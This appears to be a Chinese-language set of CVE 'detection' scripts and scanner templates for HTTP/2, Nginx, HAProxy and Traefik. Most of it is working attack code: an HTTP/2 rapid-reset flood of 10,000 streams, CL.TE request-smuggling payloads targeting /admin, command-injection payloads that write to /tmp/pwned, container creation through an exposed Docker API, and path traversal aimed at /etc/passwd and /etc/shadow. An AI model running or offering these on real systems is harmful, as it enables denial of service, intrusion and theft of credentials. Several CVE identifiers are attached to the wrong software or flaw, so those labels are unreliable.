GET / HTTP/2
Host: target
:method: GET
:path: /
:scheme: https
:authority: target

[RST_STREAM stream_id=1 error_code=CANCEL]
[RST_STREAM stream_id=3 error_code=CANCEL]
[RST_STREAM stream_id=5 error_code=CANCEL]
... (重复数万次)

#!/usr/bin/env python3
"""
CVE-2023-44487 HTTP/2 Rapid Reset DoS 检测与验证脚本
用法: python3 cve_2023_44487.py <target_host> <target_port>
"""
import socket
import ssl
import h2.connection
import h2.config
import h2.events
import h2.errors
import time
import sys

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 443
RAPID_RESET_COUNT = 10000

def create_h2_connection(host, port):
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(["h2"])
    sock = socket.create_connection((host, port))
    tls = ctx.wrap_socket(sock, server_hostname=host)
    config = h2.config.H2Configuration(client_side=True, header_encoding="utf-8")
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    tls.sendall(conn.data_to_send())
    return tls, conn

def rapid_reset_attack(tls_sock, conn, count):
    sent = 0
    for i in range(count):
        stream_id = conn.get_next_available_stream_id()
        conn.send_headers(stream_id, [
            (":method", "GET"),
            (":path", "/"),
            (":scheme", "https"),
            (":authority", TARGET_HOST),
        ], end_stream=False)
        conn.reset_stream(stream_id, error_code=h2.errors.ErrorCodes.CANCEL)
        tls_sock.sendall(conn.data_to_send())
        sent += 1
        events = conn.receive_data(tls_sock.recv(65536))
        for event in events:
            if isinstance(event, h2.events.StreamReset):
                pass
    return sent

def main():
    print(f"[*] 目标: {TARGET_HOST}:{TARGET_PORT}")
    print(f"[*] 发送 Rapid Reset 请求数: {RAPID_RESET_COUNT}")
    tls_sock, conn = create_h2_connection(TARGET_HOST, TARGET_PORT)
    start = time.time()
    total = rapid_reset_attack(tls_sock, conn, RAPID_RESET_COUNT)
    elapsed = time.time() - start
    print(f"[*] 已发送 {total} 个请求，耗时 {elapsed:.2f}s")
    print(f"[*] 速率: {total / elapsed:.0f} req/s")
    if elapsed < 5.0:
        print("[!] 服务端响应正常，可能未受影响（请求被快速处理）")
    else:
        print("[!] 服务端响应缓慢，可能受到 Rapid Reset 影响")

if __name__ == "__main__":
    main()

id: cve-2023-44487-http2-rapid-reset

info:
  name: HTTP/2 Rapid Reset DoS 检测 (CVE-2023-44487)
  author: security-researcher
  severity: high
  description: |
    检测目标是否支持 HTTP/2 并可能受到 Rapid Reset 攻击影响。
    通过探测 HTTP/2 协议支持情况和并发流处理能力进行判断。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-44487
    cwe-id: CWE-400
  tags: cve,cve2023,http2,rapid-reset,ddos

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: Upgrade, HTTP2-Settings
        Upgrade: h2c
        HTTP2-Settings: AAMAAABkAAQAAP__

    matchers:
      - type: word
        words:
          - "HTTP/2"
          - "h2"
          - "101"
        condition: or

    extractors:
      - type: regex
        group: 1
        regex:
          - "HTTP/2 ([0-9]+)"

POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /admin HTTP/1.1
Host: target
Content-Length: 100

username=admin&password=
0

#!/usr/bin/env python3
"""
CVE-2022-41741 / CVE-2022-41742 Nginx HTTP 请求走私检测脚本
用法: python3 cve_2022_41741.py <target_host> <target_port>
"""
import socket
import ssl
import sys
import time

def build_smuggling_request(host, smuggled_path="/admin"):
    smuggled_req = (
        f"POST {smuggled_path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: 100\r\n"
        f"\r\n"
        f"username=admin&password=smuggled"
    )
    chunk_size = format(len(smuggled_req), 'x')
    raw = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: 4\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"\r\n"
        f"{chunk_size}\r\n"
        f"{smuggled_req}\r\n"
        f"0\r\n"
        f"\r\n"
    )
    return raw

def build_tech_request(host, smuggled_path="/admin"):
    raw = (
        f"GET {smuggled_path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"X-Smuggle-Test: true\r\n"
        f"\r\n"
    )
    return raw

def test_smuggling(host, port, use_ssl=False):
    print(f"[*] 目标: {host}:{port}")
    print(f"[*] 测试 CL.TE 请求走私...")

    smuggle_req = build_smuggling_request(host)
    follow_req = build_tech_request(host)
    combined = smuggle_req + follow_req

    sock = socket.create_connection((host, port))
    if use_ssl:
        ctx = ssl.create_default_context()
        sock = ctx.wrap_socket(sock, server_hostname=host)

    sock.sendall(combined.encode())
    sock.settimeout(5)

    response = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
    except socket.timeout:
        pass

    sock.close()
    resp_str = response.decode("utf-8", errors="replace")
    print(f"[*] 响应长度: {len(response)} 字节")

    if "X-Smuggle-Test" in resp_str or "smuggled" in resp_str:
        print("[!] 目标可能存在 HTTP 请求走私漏洞")
        return True
    elif "400" in resp_str[:20]:
        print("[*] 服务端拒绝了请求，可能已修复")
    else:
        print("[*] 结果不确定，需要手动验证")
    return False

def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <host> <port>")
        sys.exit(1)
    host = sys.argv[1]
    port = int(sys.argv[2])
    test_smuggling(host, port)

if __name__ == "__main__":
    main()

id: cve-2022-41741-nginx-request-smuggling

info:
  name: Nginx HTTP 请求走私 (CVE-2022-41741 / CVE-2022-41742)
  author: security-researcher
  severity: high
  description: |
    检测 Nginx 反向代理是否存在 HTTP 请求走私漏洞。
    通过构造 CL.TE 变体请求验证前后端解析差异。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-41741
    cwe-id: CWE-444
  tags: cve,cve2022,nginx,smuggling

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 4
        Transfer-Encoding: chunked

        5c
        GPOST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 100

        username=admin&password=
        0

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "400 Bad Request"
          - "405"
          - "nginx"
        condition: or
        case-insensitive: true

    extractors:
      - type: regex
        group: 1
        regex:
          - "Server:.*nginx/([0-9.]+)"

POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /admin HTTP/1.1
Host: target
Content-Length: 100

username=admin&password=
0

#!/usr/bin/env python3
"""
CVE-2023-25693 HAProxy HTTP 请求走私检测与利用脚本
用法: python3 cve_2023_25693.py <target_host> <target_port> [smuggled_path]
"""
import socket
import ssl
import sys

def build_haproxy_smuggle(host, smuggled_path="/admin"):
    smuggled = (
        f"POST {smuggled_path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: 100\r\n"
        f"\r\n"
        f"username=admin&password=smuggled_by_cve_2023_25693"
    )
    chunk_size = format(len(smuggled), 'x')
    raw = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: 4\r\n"
        f"Transfer-Encoding:\x20chunked\r\n"
        f"\r\n"
        f"{chunk_size}\r\n"
        f"{smuggled}\r\n"
        f"0\r\n"
        f"\r\n"
    )
    return raw

def build_follow_request(host):
    return (
        f"GET / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"X-Probe: true\r\n"
        f"\r\n"
    )

def test_smuggling(host, port, use_ssl=False):
    print(f"[*] 目标: {host}:{port}")
    print(f"[*] 测试 HAProxy CL.TE 请求走私...")

    smuggle = build_haproxy_smuggle(host)
    follow = build_follow_request(host)
    combined = smuggle + follow

    sock = socket.create_connection((host, port))
    if use_ssl:
        ctx = ssl.create_default_context()
        sock = ctx.wrap_socket(sock, server_hostname=host)

    sock.sendall(combined.encode())
    sock.settimeout(5)

    response = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
    except socket.timeout:
        pass

    sock.close()
    resp_str = response.decode("utf-8", errors="replace")
    print(f"[*] 响应长度: {len(response)} 字节")

    if "smuggled_by_cve_2023_25693" in resp_str:
        print("[!] 目标存在 HAProxy HTTP 请求走私漏洞 (CVE-2023-25693)")
        return True
    elif "400" in resp_str[:20]:
        print("[*] 请求被拒绝，可能已修复或配置了严格模式")
    else:
        print("[*] 结果不确定，请检查响应内容")
        print(f"[*] 响应前 500 字符:\n{resp_str[:500]}")
    return False

def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <host> <port> [smuggled_path]")
        sys.exit(1)
    host = sys.argv[1]
    port = int(sys.argv[2])
    test_smuggling(host, port)

if __name__ == "__main__":
    main()

id: cve-2023-25693-haproxy-request-smuggling

info:
  name: HAProxy HTTP 请求走私 (CVE-2023-25693)
  author: security-researcher
  severity: high
  description: |
    检测 HAProxy 是否存在 Transfer-Encoding 解析歧义导致的请求走私漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-25693
    cwe-id: CWE-444
  tags: cve,cve2023,haproxy,smuggling

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 4
        Transfer-Encoding: chunked

        5c
        GPOST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 100

        username=admin&password=
        0

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "502 Bad Gateway"
          - "503 Service"
          - "haproxy"
        condition: or
        case-insensitive: true

    extractors:
      - type: regex
        group: 1
        regex:
          - "Server:.*haproxy"

GET /?arg=%22%20%26%20calc%20%26%20%22 HTTP/1.1
Host: target

#!/usr/bin/env python3
"""
CVE-2024-24576 Traefik / Rust stdlib 命令注入检测脚本
用法: python3 cve_2024_24576.py <traefik_url> [docker_api_url]
"""
import requests
import sys
import json

INJECTION_PAYLOADS = [
    '" & calc & "',
    '`id > /tmp/pwned`',
    '$(id > /tmp/pwned)',
    '\nid > /tmp/pwned\n',
    '%22%20%26%20calc%20%26%20%22',
]

MALICIOUS_LABELS = {
    "traefik.http.routers.pwned.rule": 'Host(`example.com`)',
    "traefik.http.routers.pwned.middlewares": "injected",
    "traefik.http.services.pwned.loadbalancer.server.port": "80",
}

def check_traefik_version(base_url):
    try:
        resp = requests.get(f"{base_url}/api/overview", timeout=5)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get("version", "unknown")
            print(f"[*] Traefik 版本: {version}")
            return version
    except Exception:
        pass
    try:
        resp = requests.get(f"{base_url}/", timeout=5)
        server = resp.headers.get("Server", "")
        if "traefik" in server.lower():
            print(f"[*] 检测到 Traefik: {server}")
            return server
    except Exception:
        pass
    return None

def check_docker_api(docker_url):
    try:
        resp = requests.get(f"{docker_url}/containers/json", timeout=5)
        if resp.status_code == 200:
            print(f"[!] Docker API 可访问，存在命令注入风险")
            return True
    except Exception:
        pass
    return False

def inject_malicious_label(docker_url, payload):
    labels = dict(MALICIOUS_LABELS)
    labels["traefik.http.routers.pwned.rule"] = f'Host(`{payload}`)'
    config = {
        "Image": "traefik:v2.10.6",
        "Labels": labels,
        "HostConfig": {
            "Binds": ["/var/run/docker.sock:/var/run/docker.sock:ro"],
        },
    }
    try:
        resp = requests.post(
            f"{docker_url}/containers/create?name=traefik-cmdi-test",
            json=config,
            timeout=10
        )
        if resp.status_code == 201:
            print(f"[!] 恶意容器创建成功，payload: {payload}")
            return True
        else:
            print(f"[-] 容器创建失败: {resp.status_code}")
    except Exception as e:
        print(f"[-] 请求失败: {e}")
    return False

def test_url_injection(base_url):
    for payload in INJECTION_PAYLOADS:
        try:
            url = f"{base_url}/?arg={payload}"
            resp = requests.get(url, timeout=10)
            print(f"[*] 测试 payload: {payload[:30]}... -> HTTP {resp.status_code}")
            if resp.status_code == 500 and "exec" in resp.text.lower():
                print(f"[!] 可能存在命令注入漏洞")
                return True
        except Exception:
            pass
    return False

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <traefik_url> [docker_api_url]")
        sys.exit(1)

    traefik_url = sys.argv[1]
    docker_url = sys.argv[2] if len(sys.argv) > 2 else "http://127.0.0.1:2375"

    print(f"[*] 检测 Traefik 命令注入 (CVE-2024-24576)")
    print(f"[*] Traefik URL: {traefik_url}")

    version = check_traefik_version(traefik_url)
    if not version:
        print("[-] 未检测到 Traefik 实例")
        return

    print(f"\n[*] 测试 URL 注入路径...")
    test_url_injection(traefik_url)

    print(f"\n[*] 测试 Docker API 注入路径...")
    if check_docker_api(docker_url):
        for payload in INJECTION_PAYLOADS[:3]:
            inject_malicious_label(docker_url, payload)

if __name__ == "__main__":
    main()

id: cve-2024-24576-traefik-command-injection

info:
  name: Traefik 命令注入 (CVE-2024-24576)
  author: security-researcher
  severity: critical
  description: |
    检测 Traefik 实例是否受到 Rust stdlib 命令注入漏洞影响。
    通过探测 Traefik API 端点和版本信息进行判断。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2024-24576
    cwe-id: CWE-78
  tags: cve,cve2024,traefik,cmdi,rust

http:
  - raw:
      - |
        GET /api/overview HTTP/1.1
        Host: {{Hostname}}

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "traefik"
        case-insensitive: true
        part: body

      - type: word
        words:
          - "X-Traefik"
        part: header

    extractors:
      - type: regex
        group: 1
        regex:
          - "Server:.*traefik/([0-9.]+)"
      - type: kval
        kval:
          - server

GET /static/..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target

#!/usr/bin/env python3
"""
Nginx 路径穿越漏洞检测脚本
用法: python3 nginx_path_traversal.py <target_url> [alias_path]
"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TRAVERSAL_PAYLOADS = [
    "/{path}..%2f..%2f..%2f..%2fetc/passwd",
    "/{path}%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
    "/{path}..%252f..%252f..%252fetc/passwd",
    "/{path}../....//....//....//etc/passwd",
    "/{path}..\\..\\..\\..\\etc\\passwd",
]

CONFUSION_PAYLOADS = [
    "/{path}/..;/",
    "/{path};/../",
    "/{path}/..%00/",
]

SENSITIVE_FILES = [
    "/etc/passwd",
    "/etc/shadow",
    "/proc/self/environ",
    "/proc/version",
]

def test_traversal(target, alias_path):
    print(f"[*] 目标: {target}")
    print(f"[*] Alias 路径: {alias_path}")

    for payload_tmpl in TRAVERSAL_PAYLOADS:
        path = payload_tmpl.format(path=alias_path)
        url = target.rstrip("/") + path
        try:
            resp = requests.get(url, timeout=10, verify=False)
            if "root:" in resp.text and "daemon:" in resp.text:
                print(f"[!] 发现路径穿越漏洞!")
                print(f"[!] Payload: {path}")
                print(f"[!] HTTP {resp.status_code}")
                print(f"[!] 文件内容预览:\n{resp.text[:300]}")
                return True
        except requests.RequestException:
            continue

    for payload_tmpl in CONFUSION_PAYLOADS:
        path = payload_tmpl.format(path=alias_path)
        url = target.rstrip("/") + path
        try:
            resp = requests.get(url, timeout=10, verify=False)
            if "root:" in resp.text:
                print(f"[!] 发现路径穿越（混淆变体）!")
                print(f"[!] Payload: {path}")
                return True
        except requests.RequestException:
            continue

    print("[-] 未检测到路径穿越漏洞")
    return False

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [alias_path]")
        sys.exit(1)
    target = sys.argv[1]
    alias_path = sys.argv[2] if len(sys.argv) > 2 else "/static"
    test_traversal(target, alias_path)

if __name__ == "__main__":
    main()

id: nginx-path-traversal-alias

info:
  name: Nginx alias 路径穿越检测
  author: security-researcher
  severity: medium
  description: |
    检测 Nginx 因 alias 配置错误导致的路径穿越漏洞。
    使用多种编码变体尝试读取 /etc/passwd。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-22
  tags: nginx,path-traversal,alias,misconfig

http:
  - raw:
      - |
        GET /static..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /static%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /static/..;/..;/..;/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "root:"
          - "daemon:"
        condition: and
        part: body

    extractors:
      - type: regex
        group: 1
        regex:
          - "root:.*:0:0:(.*)"

nginx -v
haproxy -v
traefik version

grep -E "Transfer-Encoding.*chunked.*Content-Length" /var/log/nginx/access.log | head -20
grep -E "\.\.%2f|\.\.%5c|\.\.;" /var/log/nginx/access.log | head -20
grep "429\|503\|502" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10
awk '{print $7}' /var/log/haproxy.log | sort | uniq -c | sort -rn | head -20
docker logs traefik 2>&1 | grep -E "err|panic|fatal" | tail -20

ss -tnp | grep -c ":443"
netstat -an | grep ESTABLISHED | awk '{print $5}' | sort | uniq -c | sort -rn | head -10

ps aux | grep -E "nginx|haproxy|traefik"
ls -la /proc/$(pgrep -f traefik)/exe